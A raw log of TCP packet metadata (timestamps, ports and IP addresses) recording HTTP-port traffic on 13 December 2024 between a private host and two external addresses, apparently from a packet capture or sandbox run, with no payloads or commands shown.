Dec 13, 2024 07:49:04.441159964 CET	49713	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:04.441265106 CET	49713	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:04.556828022 CET	80	49712	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:04.560873985 CET	80	49713	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:05.770885944 CET	80	49713	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:05.770952940 CET	49713	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:05.771838903 CET	80	49712	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:05.771903992 CET	49712	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:08.249125004 CET	49714	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:08.369102955 CET	80	49714	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:08.370341063 CET	49714	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:08.370584965 CET	49714	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:08.490227938 CET	80	49714	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:09.297899008 CET	80	49710	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:09.297966003 CET	49710	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:09.327760935 CET	80	49711	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:09.327861071 CET	49711	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:09.705950022 CET	80	49714	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:09.706078053 CET	49714	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:09.714793921 CET	49715	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:09.834521055 CET	80	49715	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:09.834633112 CET	49715	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:09.835040092 CET	49715	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:09.954799891 CET	80	49715	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:10.780694962 CET	80	49713	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:10.780752897 CET	49713	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:10.781939983 CET	80	49712	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:10.782020092 CET	49712	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:11.165636063 CET	80	49715	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:11.169982910 CET	49715	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:14.703915119 CET	80	49714	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:14.703995943 CET	49714	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:16.156316042 CET	80	49715	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:16.156538963 CET	49715	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:25.383155107 CET	49710	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.383641005 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.503107071 CET	80	49710	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.503433943 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.503535032 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.503859043 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.503942013 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504005909 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504033089 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504059076 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504082918 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504106998 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504129887 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504157066 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504180908 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504213095 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504242897 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504268885 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504296064 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504323006 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504348993 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504374027 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504407883 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504437923 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504462957 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504492044 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504519939 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504547119 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504573107 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504601002 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504623890 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504647017 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504671097 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504705906 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504734039 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504757881 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504805088 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504805088 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504837036 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504859924 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504884958 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504910946 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504935980 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504964113 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.504981041 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505004883 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505029917 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505053043 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505075932 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505109072 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505126953 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505152941 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505179882 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505208969 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505233049 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505256891 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505280972 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505316019 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505342007 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505358934 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505389929 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505414009 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505439997 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505467892 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505494118 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505520105 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505553007 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505567074 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505594969 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505645990 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505667925 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505667925 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505697012 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505722046 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505739927 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505763054 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505793095 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505815029 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505842924 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505868912 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505911112 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505924940 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505942106 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505968094 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.505999088 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506033897 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506057978 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506084919 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506104946 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506133080 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506161928 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506190062 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506205082 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506228924 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506257057 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506283045 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506309032 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506335020 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506361008 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506411076 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506411076 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506429911 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506455898 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506478071 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506505966 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506524086 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506551981 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506578922 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506594896 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506624937 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506648064 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506675005 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506701946 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506722927 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506748915 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506777048 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506799936 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506822109 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506854057 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506874084 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506896019 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506922007 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506947041 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506970882 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.506998062 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507025003 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507044077 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507080078 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507092953 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507117033 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507145882 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507170916 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507203102 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507222891 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507247925 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507276058 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507292032 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507330894 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507343054 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507368088 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507394075 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507421970 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507450104 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507476091 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507508039 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507523060 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507549047 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507575989 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507595062 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507622957 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507656097 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507667065 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507694960 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507716894 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507740021 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507769108 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507795095 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507819891 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507843018 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507865906 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507900000 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507917881 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507940054 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507965088 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.507993937 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508018970 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508042097 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508069038 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508085966 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508116007 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508385897 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508409023 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508431911 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508517981 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508554935 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508555889 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508555889 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508585930 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508585930 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508606911 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508627892 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508651018 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508681059 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508702993 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508727074 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508750916 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508774996 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508800030 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508826017 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508851051 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508872986 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508903027 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508924007 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508950949 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508972883 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.508996964 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509023905 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509048939 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509072065 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509103060 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509119987 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509151936 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509177923 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509200096 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509227037 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509246111 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509270906 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509298086 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509319067 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509344101 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509363890 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509388924 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509409904 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509438992 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509464979 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509481907 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509510040 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509531975 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509553909 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509579897 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509597063 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509624958 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509643078 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509670973 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509695053 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509711981 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509741068 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509764910 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509783030 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509812117 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509840965 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509860992 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509886980 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509903908 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509932041 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509954929 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509975910 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.509999037 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510023117 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510049105 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510076046 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510092974 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510114908 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510144949 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510166883 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510193110 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510221004 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510241985 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510268927 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510289907 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510317087 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510337114 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510364056 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510384083 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510410070 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510432959 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510452032 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510489941 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510499954 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510525942 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510550022 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510586977 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510596991 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510616064 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510638952 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510664940 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510688066 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510706902 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510730982 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510746002 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510771990 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510796070 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510812998 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510843039 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510859966 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510883093 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510912895 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510930061 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510957003 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.510972977 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511001110 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511019945 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511045933 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511065960 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511101961 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511111975 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511135101 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511157990 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511179924 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511203051 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511251926 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511251926 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511266947 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511293888 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511322021 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511343002 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511356115 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511408091 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511408091 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511424065 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511444092 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511473894 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511496067 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511517048 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511543989 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511564970 CET	49722	80	192.168.2.12	185.81.68.147
